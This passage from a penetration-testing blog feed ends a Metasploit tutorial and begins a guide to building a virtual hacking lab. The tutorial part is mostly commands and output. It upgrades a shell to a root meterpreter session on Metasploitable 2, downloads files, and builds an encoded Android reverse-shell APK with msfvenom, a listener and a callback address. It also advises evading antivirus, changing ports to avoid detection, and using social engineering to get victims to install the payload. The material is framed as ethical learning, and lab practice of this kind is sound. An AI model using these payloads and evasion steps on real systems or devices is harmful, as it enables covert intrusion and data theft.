<p>Now we have to specify the options. Remember the IDs of the sessions? Let’s try to upgrade the session ID 4: </p>



<pre class="wp-block-code"><code>msf6 post(<span style="color: #ff521b;" class="stk-highlight">multi/manage/shell_to_meterpreter</span>) &gt; set SESSION 4
SESSION =&gt; 4
</code></pre>



<p>Now exploit:</p>



<pre class="wp-block-code"><code>msf6 post(<span style="color: #ff521b;" class="stk-highlight">multi/manage/shell_to_meterpreter</span>) &gt; exploit</code></pre>



<pre class="wp-block-code"><code>&#091;*] Upgrading session ID: 4
&#091;*] Starting exploit/multi/handler
&#091;*] Started reverse TCP handler on 192.168.74.128:4433 
&#091;*] Sending stage (984904 bytes) to 192.168.74.129
&#091;*] <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Meterpreter session 6 opened (192.168.74.128:4433</span> -&gt; 192.168.74.129:46735) at 2022-02-07 10:08:39 -0400
&#091;*] Command stager progress: 100.00% (773/773 bytes)
&#091;*] Post module execution completed
</code></pre>



<p>This exploit might not work properly the first time. Keep on trying again until it works. Now let’s look at the sessions again: </p>



<pre class="wp-block-code"><code>msf6 post(<span style="color: #ff521b;" class="stk-highlight">multi/manage/shell_to_meterpreter</span>) &gt; sessions</code></pre>



<pre class="wp-block-code"><code>Active sessions
===============

  Id  Name  Type                   Information                                                                       Connection
  --  ----  ----                   -----------                                                                       ----------
  2         shell cmd/unix                                                                                           0.0.0.0:0 -&gt; 192.168.74.129:6200 (192.168.74.129)
  4         shell cmd/unix                                                                                           192.168.74.128:4444 -&gt; 192.168.74.129:33209 (192.168.74.129)
  <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">6         meterpreter x86/linux</span>  root @ metasploitable (uid=0, gid=0, euid=0, egid=0) @ metasploitable.localdo...  192.168.74.128:4433 -&gt; 192.168.74.129:46735 (192.168.74.129)</code></pre>



<p>   There is also another option to upgrade your shell session to meterpreter using the <code>sessions</code> command: </p>



<pre class="wp-block-code"><code>msf6 post(<span style="color: #ff521b;" class="stk-highlight">multi/manage/shell_to_meterpreter</span>) &gt; sessions -u 2</code></pre>



<pre class="wp-block-code"><code>&#091;*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): &#091;2]

&#091;*] Upgrading session ID: 2
&#091;*] Starting exploit/multi/handler
&#091;*] Started reverse TCP handler on 192.168.74.128:4433 
&#091;*] Sending stage (984904 bytes) to 192.168.74.129
&#091;*] Meterpreter session 3 opened (192.168.74.128:4433 -&gt; 192.168.74.129:46599) at 2021-06-29 10:55:16 -0400</code></pre>



<p>This is a much easier way. You can kill any sessions with the “sessions” command using the “-k” flag followed by the session ID.  You can interact with any of the sessions using the “-i” flag with the sessions command. Let’s open session 3 that we just got – </p>



<pre class="wp-block-code"><code>msf6 post(<span style="color: #ff521b;" class="stk-highlight">multi/manage/shell_to_meterpreter</span>) &gt; sessions -i 3
&#091;*] Starting interaction with 3...
<span style="text-decoration: underline;">meterpreter</span> &gt;
</code></pre>



<p>As you can see, now we’re in meterpreter. There’s a lot a meterpreter console can do. You can type <code>help</code> to get a list of commands meterpreter supports. Let’s find out some of the functionalities that meterpreter can do. </p>



<h3 id="meterpreter-functionalities" class="wp-block-heading"><a id="post-3536-_heading=h.4f1mdlm"></a>Meterpreter functionalities</h3>



<p>Meterpreter gives you loads of options for you to explore. You can get the commands by typing in “help” in meterpreter console. You can navigate the victim machine using the basic navigational commands of Linux. You can also download or upload some files into the victim system. There is a search option to search the victim machine with your desired keywords: </p>



<p>You can search for a file with the <code>search</code> command with <code>-f</code> flag:</p>



<pre class="wp-block-code"><code><span style="text-decoration: underline;">meterpreter</span> &gt; search -f license.txt
Found 8 results...
    /var/www/tikiwiki-old/license.txt (24381 bytes)
    /var/www/twiki/license.txt (19440 bytes)
    /var/www/tikiwiki/license.txt (24381 bytes)
    /home/msfadmin/vulnerable/twiki20030201/twiki-source/license.txt (19440 bytes)
    /var/www/tikiwiki-old/lib/adodb/license.txt (26079 bytes)
    /var/www/tikiwiki-old/lib/htmlarea/license.txt (1545 bytes)
    /var/www/tikiwiki/lib/adodb/license.txt (26079 bytes)
    /var/www/tikiwiki/lib/htmlarea/license.txt (1545 bytes)
</code></pre>



<p>Downloding any file is super straightforward as well: </p>



<pre class="wp-block-code"><code><span style="text-decoration: underline;">meterpreter</span> &gt; download /var/www/tikiwiki-old/license.txt
&#091;*] Downloading: /var/www/tikiwiki-old/license.txt -&gt; /root/license.txt
&#091;*] Downloaded 23.81 KiB of 23.81 KiB (100.0%): /var/www/tikiwiki-old/license.txt -&gt; /root/license.txt
&#091;*] download   : /var/www/tikiwiki-old/license.txt -&gt; /root/license.txt
</code></pre>



<p>   You can enter the shell of the system anytime you like with the <code>shell</code> command: </p>



<pre class="wp-block-code"><code><span style="text-decoration: underline;">meterpreter</span> &gt; shell
Process 5502 created.
Channel 2 created.
<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">whoami
</span>
<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">root</span>
^C
Terminate channel 2? &#091;y/N]  y
</code></pre>



<p>Furthermore, there are some networking commands such as – <code>arp</code>, <code>ifconfig</code>, <code>netstat</code>, etc.  </p>



<p>You can list the process running in the victim machine with the <code>ps</code> command. There is an option to see the PID of the process that has hosted the meterpreter: </p>



<pre class="wp-block-code"><code><span style="text-decoration: underline;">meterpreter</span> &gt; getpid
Current pid: 5390
</code></pre>



<p>In Windows systems, you may be able to migrate your meterpreter onto another process using the <code>migrate</code> command. You could also get keystrokes by using the <code>keyscan_start</code> and <code>keyscan_dump</code> depending on the system. On our victim machine, these commands are not supported: </p>



<pre class="wp-block-code"><code><span style="text-decoration: underline;">meterpreter</span> &gt; keyscan_start
&#091;-] The "keyscan_start" command is not supported by this Meterpreter type (x86/linux)
</code></pre>



<p>You can always find out the capabilities from the <code>help</code> command. Always keep in mind, as long as you have the command execution abilities, you can just upload a script to the victim machine that will do the job for you. </p>



<h3 id="staying-persistently-on-the-exploited-machine" class="wp-block-heading"><a id="post-3536-_heading=h.2u6wntf"></a>Staying persistently on the exploited machine</h3>



<p>As we told you earlier, if the victim system reboots, you will lose your active sessions. You might need to exploit the system once again or start the whole procedure from the very beginning – which might not be possible. If your victim machine runs Windows, there is an option called <code>persistence</code> in Metasploit, which will keep your access persistent. To do it you’ll have to use: </p>



<pre class="wp-block-code"><code><span style="text-decoration: underline;">meterpreter</span> &gt; run persistence

&#091;!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence.
&#091;!] Example: run exploit/windows/local/persistence OPTION=value &#091;...]
&#091;-] x86/linux version of Meterpreter is not supported with this Script!
</code></pre>



<p>As you can see, this command does not work in our victim system. This is because it’s running on Linux. There is, however, an alternate option for keeping your access persistent on Linux machines as well. </p>



<p>For that purpose, you can use the <code>crontab</code> to do this. <strong>Cron</strong> is the task scheduler for Linux. If you’re not familiar with <code>cron</code> command in Linux, we suggest you follow an article that covers this topic in detail <a href="https://bytexd.com/how-to-schedule-cron-jobs-with-crontab/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">here<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.  </p>



<h1 id="create-custom-payloads-with-msfvenom" class="wp-block-heading"><a id="post-3536-_heading=h.19c6y18"></a>Create custom payloads with msfvenom</h1>



<p><code>msfvenom</code> is a tool that comes with the Metasploit Framework. </p>



<p>With this tool, you can create custom payloads tailored to specific targets and requirements. Furthermore, you can attach payloads with other files that make your payload less suspicious. You can also edit the codes of your payloads and change them to evade detection by the threat detection systems. You can see all the options available for <code>msfvenom</code> by typing in <code>msfvenom -h</code>. </p>



<h3 id="check-all-options-for-creating-your-payload" class="wp-block-heading"><a id="post-3536-_heading=h.jsr9h55ihhku"></a>Check all options for creating your payload</h3>



<p>To see all the options for creating the payload, you can list the modules by using the <code>-l</code> flag followed by the module type – which will be payload in our case. </p>



<pre class="wp-block-code prompt"><code>msfvenom -l payloads</code></pre>



<p>You’ll get a long list of payloads in the output. You can use <code>grep</code> command to narrow the result down to your liking. Let’s say I wanted to create payloads for Android. I’ll use the following to list the payloads: </p>



<pre class="wp-block-code prompt"><code>msfvenom -l payloads | grep android</code></pre>



<pre class="wp-block-code"><code>    android/meterpreter/reverse_http                    Run a meterpreter server in Android. Tunnel communication over HTTP
    android/meterpreter/reverse_https                   Run a meterpreter server in Android. Tunnel communication over HTTPS
    android/meterpreter/reverse_tcp                     Run a meterpreter server in Android. Connect back stager
    android/meterpreter_reverse_http                    Connect back to attacker and spawn a Meterpreter shell
    android/meterpreter_reverse_https                   Connect back to attacker and spawn a Meterpreter shell
    android/meterpreter_reverse_tcp                     Connect back to the attacker and spawn a Meterpreter shell
    android/shell/reverse_http                          Spawn a piped command shell (sh). Tunnel communication over HTTP
    android/shell/reverse_https                         Spawn a piped command shell (sh). Tunnel communication over HTTPS
    android/shell/reverse_tcp                           Spawn a piped command shell (sh). Connect back stager
</code></pre>



<p>Now, imagine I wanted to use the marked payload (<code>android/meterpreter/reverse_tcp</code>). I will need to know what options I have to set. To see the options for the payload, you’ll have to use the <code>-p</code> flag to specify the payload and the <code>--list-options</code> flag as below: </p>



<pre class="wp-block-code prompt"><code>msfvenom -p android/meterpreter/reverse_tcp --list-options</code></pre>



<pre class="wp-block-code"><code>Options for payload/android/meterpreter/reverse_tcp:
=========================


       Name: Android Meterpreter, Android Reverse TCP Stager
     Module: payload/android/meterpreter/reverse_tcp
   Platform: Android
       Arch: dalvik
Needs Admin: No
 Total size: 10175
       Rank: Normal

Provided by:
    mihi
    egypt &lt;egypt@metasploit.com&gt;
    OJ Reeves

<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Basic options</span>:
Name   Current Setting  Required  Description
‐‐‐‐   ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
<span style="color: #3f84e5;" class="stk-highlight">LHOST</span>                   yes       The listen address (an interface may be specified)
LPORT  4444             yes       The listen port

Description:
  Run a meterpreter server in Android. Connect back stager



<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Advanced options</span> for payload/android/meterpreter/reverse_tcp:
=========================

    Name                         Current Setting  Required  Description
    ----                         ---------------  --------  -----------
    AndroidHideAppIcon           false            no        Hide the application icon automatically after launch
    AndroidMeterpreterDebug      false            no        Run the payload in debug mode, with logging enabled
    AndroidWakelock              true             no        Acquire a wakelock before starting the payload
    AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
    AutoRunScript                                 no        A script to run automatically on session creation.
    AutoSystemInfo               true             yes       Automatically capture system information on initialization.
    AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
    AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
    EnableStageEncoding          false            no        Encode the second stage payload
    EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
    HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
    InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
    PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
    PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
    PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
    PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
    PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
    PingbackRetries              0                yes       How many additional successful pingbacks
    PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
    ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
    ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
    ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
    ReverseListenerComm                           no        The specific communication channel to use for this listener
    ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
    SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
    SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
    SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
    SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
    StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
    StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
    StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
    StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
    StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
    VERBOSE                      false            no        Enable detailed status messages
    WORKSPACE                                     no        Specify the workspace for this module

Evasion options for payload/android/meterpreter/reverse_tcp:
=========================

    Name  Current Setting  Required  Description
    ‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
</code></pre>



<p>There are loads of options for this exploit, as you can see. The options are divided into two categories. Basic options and Advanced options. You can create a payload just by setting up the basic options. However, advanced options are very important as well. They offer customization as well as play a crucial role to evade threat detection systems. </p>



<p>You can modify them and check how many anti-viruses detect it as a threat. Many online websites allow you to check your payloads. Keep in mind, however, that these systems might store your data and add them to the anti-virus database, rendering your payloads to be detected more often. </p>



<p><strong>VirusTotal</strong> is a website that allows you to upload a file and check for viruses. There are online virus checkers for almost all the anti-virus packages (<strong>avast</strong>, <strong>avg</strong>, <strong>eset</strong>, etc.).  At the end of this article, you’ll see me testing our payload on these websites. </p>



<h3 id="encoding-your-payload-to-evade-detection" class="wp-block-heading"><a id="post-3536-_heading=h.73c8luhs73og"></a>Encoding your payload to evade detection</h3>



<p>Before we create the payload, remember encoders? Encoders are the modules that encrypt the code so it becomes harder for the threat detection systems to detect it as a threat. Let’s see how to encode our payload. At first, list the encoder options available. I’ll use the ruby based encoders by grepping <code>ruby</code>: </p>



<pre class="wp-block-code prompt"><code>msfvenom -l encoders | grep ruby
    ruby/base64                   great      Ruby Base64 Encoder
</code></pre>



<p>Let’s set up the basic options and create a basic payload now: </p>



<pre class="wp-block-code prompt"><code>msfvenom -p android/meterpreter/reverse_tcp -e ruby/base64 LHOST=192.168.74.128 LPORT=8080 -o /root/Desktop/payload.apk</code></pre>



<pre class="wp-block-code"><code>
&#091;-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
&#091;-] No arch selected, selecting arch: dalvik from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of ruby/base64
ruby/base64 succeeded with size 13625 (iteration=0)
ruby/base64 chosen with final size 13625
Payload size: 13625 bytes
<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Saved as: /root/Desktop/payload.apk</span>
</code></pre>



<p>Here, the LHOST is our IP address and LPORT is the port for the connection. You should change the default port to evade easy detection. Now, before we send this payload, we need to set up the handler for the incoming connection. <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Handler is just a program that will listen on a port for incoming connections, since the victim will connect to us</span>. To do that, we’ll fire up <code>msfconsole</code> and search <strong>multi/handler</strong>: </p>



<pre class="wp-block-code promptmsf6"><code>search multi/handler</code></pre>



<pre class="wp-block-code"><code>Matching Modules
================

   #  Name                                                 Disclosure Date  Rank       Check  Description
   -  ‐‐‐‐                                                 ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐       ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   0  exploit/linux/local/apt_package_manager_persistence  1999-03-09       excellent  No     APT Package Manager Persistence
   1  exploit/android/local/janus                          2017-07-31       manual     Yes    Android Janus APK Signature bypass
   2  auxiliary/scanner/http/apache_mod_cgi_bash_env       2014-09-24       normal     Yes    Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner
   3  exploit/linux/local/bash_profile_persistence         1989-06-08       normal     No     Bash Profile Persistence
   4  exploit/linux/local/desktop_privilege_escalation     2014-08-07       excellent  Yes    Desktop Linux Password Stealer and Privilege Escalation
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">5  exploit/multi/handler</span>                                                 <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">manual     No     Generic Payload Handler</span>
   6  exploit/windows/mssql/mssql_linkcrawler              2000-01-01       great      No     Microsoft SQL Server Database Link Crawling Command Execution
   7  exploit/windows/browser/persits_xupload_traversal    2009-09-29       excellent  No     Persits XUpload ActiveX MakeHttpRequest Directory Traversal
   8  exploit/linux/local/yum_package_manager_persistence  2003-12-17       excellent  No     Yum Package Manager Persistence


Interact with a module by name or index. For example info 8, use 8 or use exploit/linux/local/yum_package_manager_persistence
</code></pre>



<p>As you can see, number 5 is our manual and Generic Payload Handler. Use this one and we must set our payload matching to the one we just used (/android/meterpreter/reverse_tcp) – </p>



<pre class="wp-block-code promptmsf6"><code>use 5</code></pre>



<pre class="wp-block-code"><code>&#091;*] <span style="color: #ffd670;" class="stk-highlight">Using configured payload generic/shell_reverse_tcp</span></code></pre>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #ff521b;" class="stk-highlight">multi/handler</span>) &gt; set payload /android/meterpreter/reverse_tcp
payload =&gt; android/meterpreter/reverse_tcp
msf6 exploit(<span style="color: #ff521b;" class="stk-highlight">multi/handler</span>) &gt; show options</code></pre>



<pre class="wp-block-code"><code>Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐


Payload options (android/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ‐‐‐‐   ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   ‐‐  ‐‐‐‐
   0   Wildcard Target
</code></pre>



<p>In the output, we can see that the default payload for exploit (multi/handler) was (<span style="color: #ffd670;" class="stk-highlight">generic/shell_reverse_tcp</span>). So we set the payload to our desired one (<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">android/meterpreter/reverse_tcp</span>). Now let’s set up the <code>LHOST</code> to 192.168.74.128 (attack machine’s IP) and LPORT to 8080 just like we did when we created the payload: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #ff521b;" class="stk-highlight">multi/handler</span>) &gt; set LHOST 192.168.74.128
LHOST =&gt; 192.168.74.128
msf6 exploit(<span style="color: #ff521b;" class="stk-highlight">multi/handler</span>) &gt; set LPORT 8080
LPORT =&gt; 8080
</code></pre>



<p>Now you can run this exploit to start listening in for connections – </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #ff521b;" class="stk-highlight">multi/handler</span>) &gt; run
&#091;*] Started reverse TCP handler on 192.168.74.128:8080</code></pre>



<p>The meterpreter session will start as soon as the Android device installs the <code>apk</code> file. This concludes how you can create payloads with the <code>msfvenom</code> tool. You can send this <code>apk</code> out and ask the victims to install it by social engineering or go install it yourself if you have physical access. Bear in mind that violation of privacy and system penetration without permission is illegal and we suggest you use these techniques ethically for learning purposes only.  </p>



<h2 id="checking-if-your-payload-can-evade-anti-virus-programs" class="wp-block-heading"><a id="post-3536-_heading=h.3tbugp1"></a>Checking if your payload can evade anti-virus programs</h2>



<p>We’ve already told you how you might try to evade the anti-virus software. Let’s have some fun now. We’ll check how many viruses can detect our <code>apk</code> payload that we just created.  </p>



<figure class="wp-block-image"><img loading="lazy" decoding="async" width="1899" height="945" src="https://nooblinux.com/wp-content/uploads/2022/02/word-image-2.png" alt="" class="wp-image-3540" srcset="https://nooblinux.com/wp-content/uploads/2022/02/word-image-2.png 1899w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-2-300x149.png 300w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-2-1024x510.png 1024w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-2-768x382.png 768w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-2-1536x764.png 1536w" sizes="auto, (max-width: 1899px) 100vw, 1899px" /></figure>



<p>The result is phenomenal. Or, there might be something wrong here! The VirusTotal website might not properly work for the APK files. Whatever it may be, you now know how to create custom payloads for penetration testing.  </p>



<h1 id="conclusion" class="wp-block-heading"><a id="post-3536-_heading=h.28h4qwu"></a>Conclusion</h1>



<p>In this tutorial, you learned about Metasploit Framework from the basics to the advanced level. You can experiment and practice to learn more on your own. </p>



<p>We showed you how to use Metasploit on an intentionally vulnerable machine Metasploitable 2. In reality, these types of backdated and vulnerable machines might not be present nowadays. However, there are so many vectors from where an attack might be possible. Keep on learning. </p>



<p>Remember to use your knowledge for the good. We hope you liked our tutorial. If you have something you’d like to ask, feel free to leave a comment. We’ll get back to you as soon as possible. </p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/metasploit-tutorial/feed/</wfw:commentRss>
			<slash:comments>4</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3536</post-id>	</item>
		<item>
		<title>How To Setup A Virtual Penetration Testing Lab</title>
		<link>https://nooblinux.com/how-to-setup-a-virtual-penetration-testing-lab/</link>
					<comments>https://nooblinux.com/how-to-setup-a-virtual-penetration-testing-lab/#respond</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Tue, 19 Oct 2021 23:29:13 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[virtual machines]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3458</guid>

					<description><![CDATA[If you are just getting started with penetration testing and ethical hacking, you will need a penetration testing lab to practice your skills and test the different security tools available. This post will give you a step-by-step guide on setting up your virtual penetration testing lab and install the various operating systems and vulnerable machines [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>If you are just getting started with penetration testing and ethical hacking, you will need a penetration testing lab to practice your skills and test the different security tools available.</p>



<p>This post will give you a step-by-step guide on setting up your virtual penetration testing lab and install the various operating systems and vulnerable machines you can start with.</p>






<h2 id="why-setup-a-virtual-penetration-testing-lab" class="wp-block-heading">Why Setup A Virtual Penetration Testing Lab</h2>



<p>The most apparent reason you would need a penetration testing lab is to practice what you learn and test the different available security tools.</p>



<p>However, other than convenience, there are more reasons as to why you need a virtual lab.</p>



<h3 id="1-your-safety" class="wp-block-heading">1. Your safety</h3>



<p>One is for your safety. Performing a penetration test on a system without permission from the owner is illegal and regarded as a computer crime. That can land you into trouble with the owner or even the authorities if issues escalate beyond control.</p>



<p>To avoid such problems and be on the safe side, you can host the various vulnerable machines available in your penetration testing lab and exploit them.</p>



<h3 id="2-its-isolated-from-the-real-world-environment" class="wp-block-heading">2. It&#8217;s isolated from the real-world environment</h3>



<p>This is another reason why a penetration testing lab is necessary. Anything you perform in the lab does not affect the systems or people around you.</p>



<p>For example, if you are trying to get into malware analysis, you will deal with real viruses (the <a href="https://en.wikipedia.org/wiki/WannaCry_ransomware_attack" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">WannaCry ransomware<span class="wpel-icon wpel-image wpel-icon-19"></span></a>). There is a high risk of this malware spreading through the computer network or even storage drives shared among people in a real-world scenario.</p>



<p>This virus will be isolated with a virtual testing lab and can only impact the installed virtual machine, whichs is much more manageable.</p>



<h3 id="3-its-a-reliable-testing-platform" class="wp-block-heading">3. It&#8217;s a reliable testing platform</h3>



<p>Finally, a virtual penetration testing lab is flexible and will provide you with a reliable platform for research and development.</p>



<p>You can develop new security tools, advanced exploitation tactics in a controlled environment without affecting any systems or networks around you.</p>



<h2 id="understanding-virtualization-technology" class="wp-block-heading">Understanding Virtualization Technology</h2>



<p>When setting up a penetration testing lab, you will have two options to choose from:</p>



<ol class="squaretype-style wp-block-list"><li>Use locally-hosted virtualization technology (<em>Recommended</em>)</li><li>Set up a home lab with additional computer devices and components available.</li></ol>



<p>The latter (<em>home lab</em>) can be a little expensive and complicated to set up and manage. You will need to gather all computer devices and routers and use them to set up a lab. For example, you can have <strong>Computer A</strong> running your hacking distribution (say <em>Kali Linux</em>) and <strong>Computer B</strong> or <strong>C</strong> running your vulnerable machines (say <a href="https://nooblinux.com/how-to-install-dvwa/" data-wpel-link="internal">DVWA</a> or BWAPP). You will also need routers, switches, ethernet cables to manage the personal network.</p>



<p>Locally-hosted virtualization is much easier to set up, manage and only requires you to have one powerful PC that supports virtualization technology. That is the method that we will use in this post. Essentially, virtualization allows you to run more than one operating system on your computer. You will need to install virtualization software and use it to run the additional operating systems to get started. Some of the most common softwares are VirtualBox and VMware.</p>



<p><a href="https://www.virtualbox.org/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">VirtualBox<span class="wpel-icon wpel-image wpel-icon-19"></span></a> is a free and open-source virtualization software developed by Oracle distributed under the GNU General Public License (GPL) version 2.</p>



<p><a href="https://www.vmware.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">VMware<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, on the other hand, is a commercial software company and has several products to offer. The only free version is the VMware Workstation Player intended for home or personal use. To get many more advanced features, including snapshots, you will need to upgrade to VMware Workstation pro.</p>



<p>Up to this point, I believe you have a good understanding of a penetration testing lab and the technology you need to come up with one.</p>



<p>Let’s dive in and set up our lab. Our virtualization software of choice for this post is VirtualBox.</p>



<h2 id="step-1-download-and-install-virtualbox-on-your-pc" class="wp-block-heading">Step 1. Download and Install VirtualBox on your PC</h2>



<p>To get started, you will need to install <a href="https://www.virtualbox.org/wiki/Downloads" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">VirtualBox<span class="wpel-icon wpel-image wpel-icon-19"></span></a> on your current operating system. That can be Windows, Linux, or macOS. Additionally, install the <a href="https://docs.oracle.com/cd/E36500_01/E36502/html/qs-guest-additions.html" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">VirtualBox guest Addition<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, which consists of drivers and system applications that improve the performance of your virtual machines. Other advantages of guest additions include:</p>



<ul class="wp-block-list"><li>Mouse pointer integration</li><li>Shared folders</li><li>Improved video support</li><li>Generic host/guest communication channels</li><li>Seamless window management</li><li>Shared clipboard</li><li>Time synchronization</li><li>Automated logins</li></ul>



<p>After a successful install, proceed to launch the virtual box from the application menu.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="871" height="352" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-49.png" alt="" class="wp-image-3459" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-49.png 871w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-49-300x121.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-49-768x310.png 768w" sizes="auto, (max-width: 871px) 100vw, 871px" /></figure>



<h2 id="step-2-install-kali-linux-on-virtualbox" class="wp-block-heading">Step 2. Install Kali Linux on VirtualBox</h2>



<p>Once you have VirtualBox installed and running, we can start installing our virtual machines. We will begin by installing the penetration testing distribution of our choice.</p>



<p>In this post, we will use Kali Linux. However, that should not limit you from using other security operating systems like BlackArch Linux, Parrot, etc.</p>



<p>To install Kali Linux virtual machine, we will not need to download the setup ISO file and configure everything from scratch. Nowadays, Kali Linux comes packaged in several formats.</p>



<ul class="wp-block-list"><li>Bare Metal setup &#8211; used to install Kali Linux on your PC in a single boot or multi-boot setup.</li><li>Virtual machines: This option provides you with pre-configured virtual machine images to install on your virtualization software. As of writing this post, the only supported virtualization platforms are VMware and VirtualBox.</li><li>ARM setup: Used for ARM devices such as the Raspberry Pi.</li><li>Cloud setup</li><li>Container setup (Docker)</li><li>Live Boot setup</li><li>WSL (Windows Subsystem for Linux)</li></ul>



<p>In this post, we will download the Kali Linux virtual machine setup for VirtualBox from the official <a href="https://www.kali.org/get-kali/#kali-virtual-machines" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Kali Linux download page<span class="wpel-icon wpel-image wpel-icon-19"></span></a>. It is a `.ova`&nbsp;file.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="821" height="465" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-50.png" alt="" class="wp-image-3460" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-50.png 821w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-50-300x170.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-50-768x435.png 768w" sizes="auto, (max-width: 821px) 100vw, 821px" /></figure>



<p>After the download is complete, launch VirtualBox from your applications menu and follow the steps below:</p>



<ol class="squaretype-style wp-block-list"><li>Click on the <strong>File</strong> menu and select <strong>Import Appliance</strong>. Alternatively, you can use the keyboard shortcut (<strong>Ctrl + I</strong>).</li><li>A new window will open. Click on the <strong>file icon</strong>, select the `Kali Linux.ova` file you downloaded, and click <strong>Next</strong>.</li><li>In the next window, you will see all the information about the virtual machine. Select the <strong>import</strong> option at the bottom to import the virtual machine.</li></ol>



<p>After a successful import, you will see Kali Linux listed on your VirtualBox window, as shown in the image below.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="796" height="421" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-51.png" alt="" class="wp-image-3461" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-51.png 796w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-51-300x159.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-51-768x406.png 768w" sizes="auto, (max-width: 796px) 100vw, 796px" /></figure>



<p>You can tweak the settings of the virtual machine depending on your system resources. When done, click <strong>Start</strong> to boot the virtual machine. You don’t need to perform any configurations, just sit and wait till you get to the Kali Linux login screen.</p>



<p>The default credentials are:</p>



